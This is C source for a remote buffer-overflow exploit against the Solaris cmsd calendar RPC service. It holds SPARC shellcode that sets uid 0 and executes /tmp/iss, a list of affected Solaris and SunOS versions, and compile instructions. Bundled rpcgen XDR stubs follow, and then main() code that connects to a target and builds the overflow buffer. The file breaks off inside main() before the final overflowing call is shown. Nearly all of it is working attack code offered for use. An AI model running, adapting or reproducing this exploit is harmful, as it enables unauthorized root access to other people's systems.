/*
 *
 * cmsd warez
 *
 * executes /tmp/iss
 *
 * gcc -o c c.c -lrpcsvc -lnsl -lsocket
 *
 *  ..OS's Affected..
 *  (Solaris 7/SPARC)
 *  (Solaris 7/x86)
 *  (Solaris 2.6)
 *  (Solaris 2.5.1)
 *  (Solaris 2.5.1_x86)
 *  (Solaris 2.5)
 *  (Solaris 2.5_x86)
 *  (Solaris 2.3)
 *  (SunOS 4.1.3/4.1.3C/4.1.3_U1/4.1.4)
 *  (Solaris 2.6/SPARC)
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <arpa/inet.h>

char c0de[]=
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
"\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
"\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
"\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
"\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
"\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
"\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
"\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
"\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
"\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
"\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
"\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
"\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
"\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
"\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
"\x91\xd0\x20\x08"; /* ta 8 - exit(0) */

#define X_OFFSET  5500
#define RW_OFFSET 800
#define NOPS      700
#define ALIGN     (2000+sizeof(unsigned long)*7)
#define REG_W_SIZ 64
#define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
#define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))

char cname[] = "root@ISS";

/* ----- rpcgen ----- */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#ifndef _RTABLE4_H_RPCGEN
#define	_RTABLE4_H_RPCGEN

#include <rpc/rpc.h>

typedef char *Buffer;

enum Transaction {
	add = 0,
	cm_remove = 1
};
typedef enum Transaction Transaction;

enum Interval {
	single = 0,
	daily = 1,
	weekly = 2,
	biweekly = 3,
	monthly = 4,
	yearly = 5,
	nthWeekday = 6,
	everyNthDay = 7,
	everyNthWeek = 8,
	everyNthMonth = 9,
	otherPeriod = 10,
	monThruFri = 11,
	monWedFri = 12,
	tueThur = 13,
	daysOfWeek = 14
};
typedef enum Interval Interval;

struct Period {
	Interval period;
	int nth;
	long enddate;
};
typedef struct Period Period;

enum Event_Type {
	appointment = 0,
	reminder = 1,
	otherTag = 2,
	holiday = 3,
	toDo = 4
};
typedef enum Event_Type Event_Type;

enum Options {
	do_all = 0,
	do_one = 1,
	do_forward = 2
};
typedef enum Options Options;

struct Tag {
	Event_Type tag;
	int showtime;
	struct Tag *next;
};
typedef struct Tag Tag;

enum Privacy_Level {
	public = 0,
	private = 1,
	semiprivate = 2
};
typedef enum Privacy_Level Privacy_Level;

struct Attribute {
	struct Attribute *next;
	Buffer attr;
	Buffer value;
	Buffer clientdata;
};
typedef struct Attribute Attribute;

typedef Attribute *Attr;

struct Except {
	int ordinal;
	struct Except *next;
};
typedef struct Except Except;

typedef Except *Exception;

struct Id {
	long tick;
	long key;
};
typedef struct Id Id;

struct Uid {
	struct Id appt_id;
	struct Uid *next;
};
typedef struct Uid Uid;

enum Appt_Status {
	active = 0,
	pendingAdd = 1,
	pendingDelete = 2,
	committed = 3,
	cancelled = 4,
	completed = 5
};
typedef enum Appt_Status Appt_Status;

struct Appt {
	struct Id appt_id;
	struct Tag *tag;
	int duration;
	int ntimes;
	Buffer what;
	struct Period period;
	Buffer author;
	Buffer client_data;
	struct Except *exception;
	struct Attribute *attr;
	Appt_Status appt_status;
	Privacy_Level privacy;
	struct Appt *next;
};
typedef struct Appt Appt;

struct Abb_Appt {
	struct Id appt_id;
	struct Tag *tag;
	Buffer what;
	int duration;
	struct Period period;
	struct Abb_Appt *next;
	Appt_Status appt_status;
	Privacy_Level privacy;
};
typedef struct Abb_Appt Abb_Appt;

struct Apptid {
	struct Id *oid;
	struct Appt *new_appt;
	Options option;
};
typedef struct Apptid Apptid;

struct Reminder {
	struct Id appt_id;
	long tick;
	Attribute attr;
	struct Reminder *next;
};
typedef struct Reminder Reminder;

enum Table_Res_Type {
	AP = 0,
	RM = 1,
	AB = 2,
	ID = 3
};
typedef enum Table_Res_Type Table_Res_Type;

struct Table_Res_List {
	Table_Res_Type tag;
	union {
		Appt *a;
		Reminder *r;
		Abb_Appt *b;
		Uid *i;
	} Table_Res_List_u;
};
typedef struct Table_Res_List Table_Res_List;

enum Access_Status {
	access_ok = 0,
	access_added = 1,
	access_removed = 2,
	access_failed = 3,
	access_exists = 4,
	access_partial = 5,
	access_other = 6,
	access_notable = 7,
	access_notsupported = 8,
	access_incomplete = 9
};
typedef enum Access_Status Access_Status;

struct Table_Res {
	Access_Status status;
	Table_Res_List res;
};
typedef struct Table_Res Table_Res;
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"	/* special user */

struct Access_Entry {
	Buffer who;
	int access_type;
	struct Access_Entry *next;
};
typedef struct Access_Entry Access_Entry;

struct Access_Args {
	Buffer target;
	Access_Entry *access_list;
};
typedef struct Access_Args Access_Args;

struct Range {
	long key1;
	long key2;
	struct Range *next;
};
typedef struct Range Range;

struct Keyrange {
	long key;
	long tick1;
	long tick2;
	struct Keyrange *next;
};
typedef struct Keyrange Keyrange;

struct Uidopt {
	struct Id appt_id;
	Options option;
	struct Uidopt *next;
};
typedef struct Uidopt Uidopt;

enum Table_Args_Type {
	TICK_4 = 0,
	APPTID = 1,
	UID = 2,
	APPT = 3,
	RANGE = 4,
	KEYRANGE = 5,
	UIDOPT = 6
};
typedef enum Table_Args_Type Table_Args_Type;

struct Args {
	Table_Args_Type tag;
	union {
		long tick;
		Apptid apptid;
		Uid *key;
		Appt *appt;
		Range *range;
		Keyrange *keyrange;
		Uidopt *uidopt;
	} Args_u;
};
typedef struct Args Args;

struct Table_Args {
	Buffer target;
	Args args;
	int pid;
};
typedef struct Table_Args Table_Args;

struct Registration {
	Buffer target;
	u_long prognum;
	u_long versnum;
	u_long procnum;
	struct Registration *next;
	int pid;
};
typedef struct Registration Registration;

struct Table_Op_Args {
	Buffer target;
	Buffer new_target;
};
typedef struct Table_Op_Args Table_Op_Args;

enum Table_Status {
	ok = 0,
	duplicate = 1,
	badtable = 2,
	notable = 3,
	denied = 4,
	other = 5,
	tbl_not_owner = 6,
	tbl_exist = 7,
	tbl_notsupported = 8
};
typedef enum Table_Status Table_Status;

enum Registration_Status {
	registered = 0,
	failed = 1,
	deregistered = 2,
	confused = 3,
	reg_notable = 4
};
typedef enum Registration_Status Registration_Status;

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

#define	TABLEPROG ((unsigned long)(100068))
#define	TABLEVERS ((unsigned long)(4))
#define	rtable_ping ((unsigned long)(0))
extern  void * rtable_ping_4();
#define	rtable_lookup ((unsigned long)(1))
extern  Table_Res * rtable_lookup_4();
#define	rtable_lookup_next_larger ((unsigned long)(2))
extern  Table_Res * rtable_lookup_next_larger_4();
#define	rtable_lookup_next_smaller ((unsigned long)(3))
extern  Table_Res * rtable_lookup_next_smaller_4();
#define	rtable_lookup_range ((unsigned long)(4))
extern  Table_Res * rtable_lookup_range_4();
#define	rtable_abbreviated_lookup_range ((unsigned long)(5))
extern  Table_Res * rtable_abbreviated_lookup_range_4();
#define	rtable_insert ((unsigned long)(6))
extern  Table_Res * rtable_insert_4();
#define	rtable_delete ((unsigned long)(7))
extern  Table_Res * rtable_delete_4();
#define	rtable_delete_instance ((unsigned long)(8))
extern  Table_Res * rtable_delete_instance_4();
#define	rtable_change ((unsigned long)(9))
extern  Table_Res * rtable_change_4();
#define	rtable_change_instance ((unsigned long)(10))
extern  Table_Res * rtable_change_instance_4();
#define	rtable_lookup_next_reminder ((unsigned long)(11))
extern  Table_Res * rtable_lookup_next_reminder_4();
#define	rtable_check ((unsigned long)(12))
extern  Table_Status * rtable_check_4();
#define	rtable_flush_table ((unsigned long)(13))
extern  Table_Status * rtable_flush_table_4();
#define	rtable_size ((unsigned long)(14))
extern  int * rtable_size_4();
#define	register_callback ((unsigned long)(15))
extern  Registration_Status * register_callback_4();
#define	deregister_callback ((unsigned long)(16))
extern  Registration_Status * deregister_callback_4();
#define	rtable_set_access ((unsigned long)(17))
extern  Access_Status * rtable_set_access_4();
#define	rtable_get_access ((unsigned long)(18))
extern  Access_Args * rtable_get_access_4();
#define	rtable_abbreviated_lookup_key_range ((unsigned long)(19))
extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
#define	rtable_gmtoff ((unsigned long)(20))
extern  long * rtable_gmtoff_4();
#define	rtable_create ((unsigned long)(21))
extern  Table_Status * rtable_create_4();
#define	rtable_remove ((unsigned long)(22))
extern  Table_Status * rtable_remove_4();
#define	rtable_rename ((unsigned long)(23))
extern  Table_Status * rtable_rename_4();
extern int tableprog_4_freeresult();

/* the xdr functions */
extern bool_t xdr_Buffer();
extern bool_t xdr_Transaction();
extern bool_t xdr_Interval();
extern bool_t xdr_Period();
extern bool_t xdr_Event_Type();
extern bool_t xdr_Options();
extern bool_t xdr_Tag();
extern bool_t xdr_Privacy_Level();
extern bool_t xdr_Attribute();
extern bool_t xdr_Attr();
extern bool_t xdr_Except();
extern bool_t xdr_Exception();
extern bool_t xdr_Id();
extern bool_t xdr_Uid();
extern bool_t xdr_Appt_Status();
extern bool_t xdr_Appt();
extern bool_t xdr_Abb_Appt();
extern bool_t xdr_Apptid();
extern bool_t xdr_Reminder();
extern bool_t xdr_Table_Res_Type();
extern bool_t xdr_Table_Res_List();
extern bool_t xdr_Access_Status();
extern bool_t xdr_Table_Res();
extern bool_t xdr_Access_Entry();
extern bool_t xdr_Access_Args();
extern bool_t xdr_Range();
extern bool_t xdr_Keyrange();
extern bool_t xdr_Uidopt();
extern bool_t xdr_Table_Args_Type();
extern bool_t xdr_Args();
extern bool_t xdr_Table_Args();
extern bool_t xdr_Registration();
extern bool_t xdr_Table_Op_Args();
extern bool_t xdr_Table_Status();
extern bool_t xdr_Registration_Status();

#endif /* !_RTABLE4_H_RPCGEN */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

bool_t
xdr_Buffer(xdrs, objp)
	register XDR *xdrs;
	Buffer *objp;
{

	register long *buf;

	if (!xdr_string(xdrs, objp, ~0))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Transaction(xdrs, objp)
	register XDR *xdrs;
	Transaction *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Interval(xdrs, objp)
	register XDR *xdrs;
	Interval *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Period(xdrs, objp)
	register XDR *xdrs;
	Period *objp;
{

	register long *buf;

	if (!xdr_Interval(xdrs, &objp->period))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->nth))
		return (FALSE);
	if (!xdr_long(xdrs, &objp->enddate))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Event_Type(xdrs, objp)
	register XDR *xdrs;
	Event_Type *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Options(xdrs, objp)
	register XDR *xdrs;
	Options *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Tag(xdrs, objp)
	register XDR *xdrs;
	Tag *objp;
{

	register long *buf;

	if (!xdr_Event_Type(xdrs, &objp->tag))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->showtime))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Privacy_Level(xdrs, objp)
	register XDR *xdrs;
	Privacy_Level *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Attribute(xdrs, objp)
	register XDR *xdrs;
	Attribute *objp;
{

	register long *buf;

	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->attr))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->value))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->clientdata))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Attr(xdrs, objp)
	register XDR *xdrs;
	Attr *objp;
{

	register long *buf;

	if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Except(xdrs, objp)
	register XDR *xdrs;
	Except *objp;
{

	register long *buf;

	if (!xdr_int(xdrs, &objp->ordinal))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Exception(xdrs, objp)
	register XDR *xdrs;
	Exception *objp;
{

	register long *buf;

	if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Id(xdrs, objp)
	register XDR *xdrs;
	Id *objp;
{

	register long *buf;

	if (!xdr_long(xdrs, &objp->tick))
		return (FALSE);
	if (!xdr_long(xdrs, &objp->key))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Uid(xdrs, objp)
	register XDR *xdrs;
	Uid *objp;
{

	register long *buf;

	if (!xdr_Id(xdrs, &objp->appt_id))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Appt_Status(xdrs, objp)
	register XDR *xdrs;
	Appt_Status *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Appt(xdrs, objp)
	register XDR *xdrs;
	Appt *objp;
{

	register long *buf;

	if (!xdr_Id(xdrs, &objp->appt_id))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->duration))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->ntimes))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->what))
		return (FALSE);
	if (!xdr_Period(xdrs, &objp->period))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->author))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->client_data))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
		return (FALSE);
	if (!xdr_Appt_Status(xdrs, &objp->appt_status))
		return (FALSE);
	if (!xdr_Privacy_Level(xdrs, &objp->privacy))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Abb_Appt(xdrs, objp)
	register XDR *xdrs;
	Abb_Appt *objp;
{

	register long *buf;

	if (!xdr_Id(xdrs, &objp->appt_id))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->what))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->duration))
		return (FALSE);
	if (!xdr_Period(xdrs, &objp->period))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
		return (FALSE);
	if (!xdr_Appt_Status(xdrs, &objp->appt_status))
		return (FALSE);
	if (!xdr_Privacy_Level(xdrs, &objp->privacy))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Apptid(xdrs, objp)
	register XDR *xdrs;
	Apptid *objp;
{

	register long *buf;

	if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
		return (FALSE);
	if (!xdr_Options(xdrs, &objp->option))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Reminder(xdrs, objp)
	register XDR *xdrs;
	Reminder *objp;
{

	register long *buf;

	if (!xdr_Id(xdrs, &objp->appt_id))
		return (FALSE);
	if (!xdr_long(xdrs, &objp->tick))
		return (FALSE);
	if (!xdr_Attribute(xdrs, &objp->attr))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Table_Res_Type(xdrs, objp)
	register XDR *xdrs;
	Table_Res_Type *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Table_Res_List(xdrs, objp)
	register XDR *xdrs;
	Table_Res_List *objp;
{

	register long *buf;

	if (!xdr_Table_Res_Type(xdrs, &objp->tag))
		return (FALSE);
	switch (objp->tag) {
	case AP:
		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
			return (FALSE);
		break;
	case RM:
		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
			return (FALSE);
		break;
	case AB:
		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
			return (FALSE);
		break;
	case ID:
		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
			return (FALSE);
		break;
	}
	return (TRUE);
}

bool_t
xdr_Access_Status(xdrs, objp)
	register XDR *xdrs;
	Access_Status *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Table_Res(xdrs, objp)
	register XDR *xdrs;
	Table_Res *objp;
{

	register long *buf;

	if (!xdr_Access_Status(xdrs, &objp->status))
		return (FALSE);
	if (!xdr_Table_Res_List(xdrs, &objp->res))
		return (FALSE);
	return (TRUE);
}
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"	/* special user */

bool_t
xdr_Access_Entry(xdrs, objp)
	register XDR *xdrs;
	Access_Entry *objp;
{

	register long *buf;

	if (!xdr_Buffer(xdrs, &objp->who))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->access_type))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Access_Args(xdrs, objp)
	register XDR *xdrs;
	Access_Args *objp;
{

	register long *buf;

	if (!xdr_Buffer(xdrs, &objp->target))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Range(xdrs, objp)
	register XDR *xdrs;
	Range *objp;
{

	register long *buf;

	if (!xdr_long(xdrs, &objp->key1))
		return (FALSE);
	if (!xdr_long(xdrs, &objp->key2))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Keyrange(xdrs, objp)
	register XDR *xdrs;
	Keyrange *objp;
{

	register long *buf;

	if (!xdr_long(xdrs, &objp->key))
		return (FALSE);
	if (!xdr_long(xdrs, &objp->tick1))
		return (FALSE);
	if (!xdr_long(xdrs, &objp->tick2))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Uidopt(xdrs, objp)
	register XDR *xdrs;
	Uidopt *objp;
{

	register long *buf;

	if (!xdr_Id(xdrs, &objp->appt_id))
		return (FALSE);
	if (!xdr_Options(xdrs, &objp->option))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Table_Args_Type(xdrs, objp)
	register XDR *xdrs;
	Table_Args_Type *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Args(xdrs, objp)
	register XDR *xdrs;
	Args *objp;
{

	register long *buf;

	if (!xdr_Table_Args_Type(xdrs, &objp->tag))
		return (FALSE);
	switch (objp->tag) {
	case TICK_4:
		if (!xdr_long(xdrs, &objp->Args_u.tick))
			return (FALSE);
		break;
	case APPTID:
		if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
			return (FALSE);
		break;
	case UID:
		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
			return (FALSE);
		break;
	case APPT:
		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
			return (FALSE);
		break;
	case RANGE:
		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
			return (FALSE);
		break;
	case KEYRANGE:
		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
			return (FALSE);
		break;
	case UIDOPT:
		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
			return (FALSE);
		break;
	default:
		return (FALSE);
	}
	return (TRUE);
}

bool_t
xdr_Table_Args(xdrs, objp)
	register XDR *xdrs;
	Table_Args *objp;
{

	register long *buf;

	if (!xdr_Buffer(xdrs, &objp->target))
		return (FALSE);
	if (!xdr_Args(xdrs, &objp->args))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->pid))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Registration(xdrs, objp)
	register XDR *xdrs;
	Registration *objp;
{

	register long *buf;

	if (!xdr_Buffer(xdrs, &objp->target))
		return (FALSE);
	if (!xdr_u_long(xdrs, &objp->prognum))
		return (FALSE);
	if (!xdr_u_long(xdrs, &objp->versnum))
		return (FALSE);
	if (!xdr_u_long(xdrs, &objp->procnum))
		return (FALSE);
	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
		return (FALSE);
	if (!xdr_int(xdrs, &objp->pid))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Table_Op_Args(xdrs, objp)
	register XDR *xdrs;
	Table_Op_Args *objp;
{

	register long *buf;

	if (!xdr_Buffer(xdrs, &objp->target))
		return (FALSE);
	if (!xdr_Buffer(xdrs, &objp->new_target))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Table_Status(xdrs, objp)
	register XDR *xdrs;
	Table_Status *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

bool_t
xdr_Registration_Status(xdrs, objp)
	register XDR *xdrs;
	Registration_Status *objp;
{

	register long *buf;

	if (!xdr_enum(xdrs, (enum_t *)objp))
		return (FALSE);
	return (TRUE);
}

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

/* ----- rpcgen ----- */

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if(!(he=gethostbyname(host)))
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int main(int argc, char *argv[])
{
  char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
  struct sockaddr_in sin;
  struct timeval tv;
  Table_Op_Args toa;
  Table_Status ts;
  Table_Args ta;
  Table_Res tr;
  Appt ap;
  int sock;
  unsigned long *ptr;
  CLIENT *c;

  if(argc!=2)
    {
      (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
      exit(-1);
    }

  (void)memset(&sin,0,sizeof(sin));
  sin.sin_family = AF_INET;

  if(!(sin.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  (void)memset(&tv,0,sizeof(tv));
  tv.tv_sec = 7;

  sock = RPC_ANYSOCK;
  if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
    {
      (void)clnt_pcreateerror(argv[0]);
      exit(1);
    }
  c->cl_auth = authunix_create(argv[1],0,0,0,0);

  (void)memset(&toa,0,sizeof(toa));
  toa.target = cname;

  (void)memset(&ts,0,sizeof(ts));

  if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
	       xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
    {
      (void)clnt_perror(c,"error: rtable_create");
      exit(-1);
    }

  (void)memset(abuf,0xff,sizeof(abuf));
  abuf[sizeof(abuf)-1] = 0;

  for(ptr=(unsigned long *)obuf;
      ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
      ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
    *ptr = (0xeffffff0-RW_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
    *ptr = (0xeffffff0-X_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  (void)memset(&ap,0,sizeof(ap));
